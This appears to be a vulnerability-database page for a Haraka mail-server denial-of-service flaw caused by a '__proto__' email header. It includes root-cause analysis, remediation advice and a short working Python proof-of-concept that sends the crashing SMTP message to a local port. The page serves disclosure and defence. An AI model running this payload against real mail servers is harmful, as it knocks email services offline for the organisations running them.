Python
CVE-2026-34752
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft email with __proto__ header
-
ExploitParser stores header in plain object
-
ExecutionPrototype pollution accesses Object.prototype
-
ImpactWorker process crashes from undefined method call
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Exception handling completeness
|
| Exploitation Conditions | Remote unauthenticated attacker sends email with |
| Impact | Real-world risk is MODERATE to HIGH for internet-facing Haraka deployments. Attack vector is NETWORK-accessible via standard SMTP protocol (typically port 25, 587, or 2525), requires NO authentication (any remote user can send email), and has LOW complexity (demonstrated by 10-line Python PoC). The technical impact is availability loss rather than data breach or code execution, limiting CVSS severity, but operational impact is significant: email infrastructure downtime directly disrupts business operations. EPSS data not available for this recent CVE, but exploitation is trivially automatable-attackers could continuously send malformed emails to sustain denial of service. No confirmed active exploitation (not in CISA KEV), but the public GitHub advisory includes working exploit code, lowering the barrier to weaponization. SSVC assessment: exploitable via simple SMTP transaction, fully automatable, impact limited to availability. Organizations using Haraka in production should prioritize patching, especially single-process deployments where impact is total service failure rather than session disruption. |
| Exploit ScenarioDerived | An attacker identifies an internet-facing Haraka mail server and establishes a standard SMTP connection on port 25 or 587 without authentication. Using the provided Python proof-of-concept or equivalent tooling, the attacker sends a crafted email with |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Haraka email server crashes when processing emails with __proto__ as a header name, enabling remote unauthenticated denial of service. Attackers can send a specially crafted email via SMTP to crash worker processes, disrupting email delivery. In single-process deployments, the entire server becomes unavailable; in cluster mode, all active sessions are terminated. No public exploit identified at time of analysis beyond the published proof-of-concept code, though exploitation requires only basic SMTP access.
RemediationAI
Upgrade to the patched version of Haraka as specified in the vendor advisory at https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3 (exact patched version number not provided in available data; consult advisory for specific release). The fix likely involves either using Object.create(null) for header storage to eliminate prototype chain inheritance, implementing input validation to reject reserved property names like __proto__, constructor, and prototype, or migrating to Map data structures for header storage. As a temporary workaround until patching, deploy network-level filtering to inspect and reject SMTP DATA commands containing headers matching the pattern __proto__: or other prototype pollution vectors, though this is not foolproof and patching remains the primary mitigation. For critical deployments, consider running Haraka in cluster mode (nodes>0) to limit blast radius to individual worker processes rather than total service failure, though this does not eliminate the vulnerability.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects Haraka, a Node.js-based SMTP server (pkg:npm/haraka). The root cause is prototype pollution (CWE-248) in the haraka-email-message library's header parser. The parser stores email headers in a plain JavaScript object using bracket notation without Object.create(null) or Map, allowing access to inherited properties. When a header named __proto__ is encountered, the code attempts to access this.headers['__proto__'], which returns Object.prototype instead of undefined. The nullish coalescing operator (??=) skips initialization because Object.prototype is truthy, then the code attempts to call push() on Object.prototype, triggering an uncaught TypeError. The global uncaughtException handler responds by calling process.exit(1), terminating the worker process. This represents a classic example of JavaScript prototype chain exploitation where special property names bypass object initialization logic.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (https://github.com/haraka/Haraka) · only source for this CVE.
CVSS VectorVendor: https://github.com/haraka/Haraka
Lifecycle Timeline
2DescriptionCVE.org
Summary
Sending an email with __proto__: as a header name crashes the Haraka worker process.
Details
The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:
_add_header(key, value, method) {
this.headers[key] ??= [] // line 216
this.headers[key][method](value) // line 217
}When key is __proto__:
this.headers['__proto__']returnsObject.prototype(the prototype getter)Object.prototypeis not null/undefined, so??=is skippedObject.prototype.push(value)throwsTypeError: not a function
The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):
process.on('uncaughtException', (err) => {
if (err.stack) {
err.stack.split('\n').forEach((line) => logger.crit(line))
} else {
logger.crit(`Caught exception: ${JSON.stringify(err)}`)
}
logger.dump_and_exit(1)
})PoC
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")Impact
In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
Executive ViewAI
Haraka email servers are vulnerable to remote denial of service attacks via specially crafted SMTP emails that crash worker processes and disrupt email delivery. Organizations running Haraka-particularly in single-process deployments-face immediate risk of complete email service interruption from unauthenticated attackers requiring only basic network access to your mail server. This vulnerability directly impacts business continuity for any organization dependent on Haraka for email operations.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict SMTP listener access via firewall to trusted IP ranges only; (2) Deploy SMTP gateway with content filtering rules to block emails containing __proto__ in header fields; (3) Configure monitoring/alerting on worker process restarts and email queue delays; (4) In cluster deployments, increase worker process redundancy to tolerate individual process crashes; (5) Implement rate limiting on inbound SMTP connections; (6) Maintain detailed email queue backups to enable recovery after crashes.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-xph3-r2jf-4vp3
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB